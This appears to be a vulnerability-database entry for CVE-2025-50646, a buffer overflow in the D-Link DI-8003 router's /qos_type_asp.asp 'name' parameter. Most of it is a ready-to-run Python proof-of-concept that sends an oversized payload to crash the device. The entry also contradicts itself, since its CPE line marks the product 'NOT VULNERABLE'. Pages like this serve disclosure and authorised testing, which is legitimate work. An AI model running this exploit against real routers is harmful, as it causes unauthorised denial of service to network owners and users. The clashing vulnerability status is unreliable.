A buffer overflow vulnerability exists in D-Link DI-8003 16.07.26A1 due to insufficient input validation on the name parameter in the /qos_type_asp.asp endpoint.
cpe:2.3:h:dlink:di-8003:-:*:*:*:*:*:*:* - NOT VULNERABLE
D-Link DI-8003 16.07.26A1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# CVE-2025-50646 Proof of Concept
# Target: D-Link DI-8003
# Vulnerability: Buffer Overflow in /qos_type_asp.asp via 'name' parameter
target_ip = "192.168.0.1"
url = f"http://{target_ip}/qos_type_asp.asp"
# Generate a payload of 500 'A' characters to trigger the overflow
# Adjust length based on specific buffer size if known
payload = "A" * 500
# Prepare the data payload
data = {
"name": payload,
"submit": "Submit"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
print(f"[+] Sending payload to {url}...")
response = requests.post(url, data=data, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully. Check if device has crashed.")
else:
print(f"[-] Received status code: {response.status_code}")
except requests.exceptions.Timeout:
print("[!] Request timed out. The device may have crashed (DoS).")
except Exception as e:
print(f"[-] An error occurred: {e}")